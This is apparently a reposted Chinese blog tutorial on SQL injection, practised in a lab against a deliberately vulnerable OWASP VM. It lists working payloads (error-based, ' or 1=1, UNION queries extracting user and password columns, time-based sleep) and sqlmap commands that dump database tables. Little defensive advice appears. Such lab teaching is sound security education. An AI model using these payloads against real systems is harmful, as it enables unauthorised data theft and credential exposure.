SQL註入攻擊及防禦詳解

来源:https://www.cnblogs.com/yjssjm/archive/2020/04/11/12682618.html
-Advertisement-
Play Games

在owasp年度top 10 安全問題中,註入高居榜首。SQL註入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程式, 而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地 過濾用戶輸入的數據,致使非法數據侵入系統。 1. 對於Web應用 ...


在owasp年度top 10 安全問題中,註入高居榜首。SQL註入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程式, 而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地 過濾用戶輸入的數據,致使非法數據侵入系統。

  1. 對於Web應用程式而言,用戶核心數據存儲在資料庫中,例如MySQL、SQL Server、Oracle;
  2. 通過SQL註入攻擊,可以獲取、修改、刪除資料庫信息,並且通過提權來控制Web伺服器等其他操作;
  3. SQL註入即攻擊者通過構造特殊的SQL語句,入侵目標系統,致使後臺資料庫泄露數據的過程;
  4. 因為SQL註入漏洞造成的嚴重危害性,所以常年穩居OWASP TOP10的榜首!

1.實驗說明

目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
測試滲透機:Kali-Linux-2018.2-vm-amd64
下載地址

1.SQL註入的危害
1、拖庫導致用戶數據泄漏; 
2、危害web等應用的安全; 
3、失去操作系統的控制權; 
4、用戶信息被非法買賣; 
5、危害企業及國家的安全!
2.註入流程
1. 判斷是否有SQL註入漏洞; 
2. 判斷操作系統、資料庫和web應用的類型; 
3. 獲取資料庫信息,包括管理員信息及拖庫;
4.  加密信息破解,sqlmap可自動破解;
5. 提升許可權,獲得sql-shell、os-shell、登錄應用後臺;

2.手動註入實戰

1.基於錯誤的註入

錯誤註入的思路是通過構造特殊的sql語句,根據得到的錯誤信息,確認sql註入點; 通過資料庫報錯信息,也可以探測到資料庫的類型和其他有用信息。
通過輸入單引號,觸發資料庫異常,通過異常日誌診斷資料庫類型,例如這裡是MySQL資料庫。
在這裡插入圖片描述
在這裡插入圖片描述

SQL註入語句解析: 
mysql> select first_name,last_name from dvwa.users; 
mysql> select first_name,last_name from dvwa.users where user_id='1';
#你輸入1 相當於在最後的兩個單引號中間插入一個1來執行mysql的查詢語句

怎麼樣判斷我們是否可以註入呢?
在這裡插入圖片描述
會發生頁面報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

SQL註入語句解析: 
mysql> select first_name,last_name from dvwa.users where user_id='''

這就代表此網站我們可以註入,有註入點。

2.基於布爾的註入

這裡面用到的是or,布爾邏輯註入的思路是閉合SQL語句,構造or邏輯語句、註釋多餘的代碼
在這裡插入圖片描述

註入語句: ' or 1=1 -- ' 
原始語句: 
mysql> select first_name,last_name from dvwa.users where user_id='' 
SQL註入語句解析: ' or 1=1 -- ' 
mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' ' 
說明:
第一個' 用於閉合前面的條件 
or 1=1 為真的條件 
-- 將註釋後面的所有語句
仔細看where user_id=' ' or 1=1 -- ' '    這個條件語句
user_id=' '  這個語句肯定是假的,因為我們的ID是阿拉伯數字,而這裡面是空,所以為假
但是1=1 這個語句肯定為真     -- ' '   是註釋的意思,也就說後面的不用管
or 表示有一個條件為真就是真
那總得來說這個where語句一定為真
整個語句的意思是從dvwa庫的users表裡面查詢first_name,last_name兩個欄位的所有內容
3.基於UNION註入
UNION語句用於聯合前面的SELECT查詢語句,合併查詢更多信息; 
一般通過錯誤和布爾註入確認註入點之後,便開始通過union語句來獲取有效信息。 
//猜測數據列數 
' union select 1 -- ' 
' union select 1,2 -- ' 
' union select 1,2,3 -- ' 
' union select 1,2,3,4 -- ' 
SQL註入語句解析: 
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' 
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' 

//union是我們註入常用的方式,裡面的1,2,3 代表的是欄位名,union語句查詢的時候,前後的
欄位數量必須相同,所以我們可以用數字代表欄位,來猜測union之前的語句中有幾個欄位。這裡
顯然只有兩個欄位。

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述

你查詢的不一定非要是欄位,也可以是版本,表之類的
//獲得當前資料庫及用戶信息   
'union select version(), database() -- ' 
'union select user(), database() -- '
//查詢所有庫名 
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '   
#這裡面的1 只是一個列的代替,沒有什麼含義,但是如果你缺了這個1 前後列數量不一樣會報錯的
//查看所庫中所有表名 
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
//同時查詢表名及對應庫名 
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
//查詢數據列 
'union select NULL, user from users -- ' 'union select NULL, password from users -- '
'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
因為union前面只有兩個欄位,那我們想要查詢多個欄位怎麼辦?
用mysql自帶的函數concat(),如
'union select password, concat(first_name,' ',last_name,' ',user) from users -- '

在這裡插入圖片描述

4.基於時間的盲註

有些資料庫對錯誤信息做了安全配置,使得無法通過以上方式探測到註入點,此時,通過設置sleep語句來探測註入點。

1' and sleep(5) -- '
SQL註入語句解析: 
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''

在這裡插入圖片描述

3.sqlmap自動化註入

SQL註入比較好用的工具,首推開源工具SQLmap。SQLmap是一個國內外著名的安全穩定性測試工具,可以用來進行自動 化檢測,利用SQL註入漏洞,獲取資料庫伺服器的許可權。它具有功能強大的檢測引擎,針對各種不同類型資料庫的安全穩 定性測試的功能選項,包括獲取資料庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系 統命令。 SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測。

1.GET方法註入

打開kali,用戶名root 密碼toor
在這裡插入圖片描述
查看幫助我們發現我們需要獲取到網頁的url
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
然後我們把該網頁的連接複製下來在kali裡面進行測試

root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"

在這裡插入圖片描述
在這裡插入圖片描述

sqlmap參數解析: 
--users      #所有用戶
--current-user #當前用戶
--dbs   #所有庫
--current-db   #當前庫
-D "database_name" --tables  #指定庫名
-D "database_name" -T "table_name" --columns  #指定庫名和表名
--dump-all   #所有的內容
--dump-all --exclude-sysdbs 
-D "database_name" -T "table_name" --dump   
-D "database_name" -T "table_name" -C "username, password" --dump 
#-C 指定欄位
--batch //自動化完成
示例步驟: 
1. 獲得當前資料庫 
root@kali:~# sqlmap -u "你自己的url" --batch --current-db 
2. 獲得資料庫表 
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables 
3. 獲得表的欄位 
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns 
4. 獲得表中的數據 
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump
2.POST方法註入

需要帶cookie才能訪問的註入頁面,--cookie=""
在這裡插入圖片描述
在這裡插入圖片描述

root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch

在這裡插入圖片描述
參數跟get獲取的參數一樣,就是post需要用url+cookie

你們的評論和點贊是我寫文章的最大動力,蟹蟹。


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 最近項目中,一些html內容需要顯示在ng-repeat內。 1,引用angular-sanitize.js 2,寫一個過濾器 最後是在html中使用過濾器 存儲於資料庫表內的html內容: 呈現效果: ...
  • 之前的舊版本為許多客戶服務了好多年,但隨著技術變更與發展,舊版已難以再挑起大梁。因本人一直都扎根在網教行業,對實現網路考試與培訓有著深刻的認識與理解,故打算用當前主流技術全新構建一套新的版本。新版本採用Net Core 2(目前已升級為Net Core 3)c#語言編寫(新版名為“麥荻網教系統”),... ...
  • System.Drawing is not supported on this platform. ...
  • 一、引言 fanout類型的Exchange,路由規則非常簡單:它會把所有發送到該Exchange的消息,路由到所有與它綁定的Queue中。假設有一個聊天室,各個客戶端都訂閱在同一fanout exchange type,那每個客戶端發送出來的消息,所有的客戶端都能收到,因為大家都訂閱了。此時,只需 ...
  • 在上次的文章中簡單介紹了 [Reface.NPI] 中的功能。 本期,將對這方法名稱解析規則進行詳細的解釋和說明, 以便開發者可以完整的使用 [Reface.NPI] 中的各種功能。 基本規則 方法名稱以 Insert , Delete , Select , Update 開頭 方法名以數個單詞構成 ...
  • 前言 上一篇文章介紹了ABP的Web API,本文在繼續介紹ABP的其他內容。 在ABP中,WEBAPI是一個值得用的東西。但其他東西,就不一定是那麼好用了。 因為越深入的學習ABP,你就越會發現,它自身有著非常強的設計約束,而而微軟的框架已經有一定的約束了,再使用一套附加約束,顯然會更辛苦。 下麵 ...
  • 在做劍指offer的題目時,發現每次需要用到樹做為參數來測試自己寫的方法時,都很是痛苦。於是乎就萌生了寫一個利用數組作為參數生成樹的方法。簡單測試了下,沒什麼毛病。在這裡貼出來,如果以後發現有bug了會持續在後面更新,也歡迎大家指出其中的不足。 public class TreeNode { pub ...
  • 其實Linux和Windows的差別還是很大的,甚至可以說沒有接觸過Linux的人是完全不懂怎麼使用這種操作系統的,至少我自己的感覺是這樣的。在學習Linux之後,我在使用這兩種系統上最直觀的感受就是Windows就是用於個人PC的,簡單明瞭的圖形界面讓即使不懂電腦原理的人也能輕易上手並很快熟練使 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...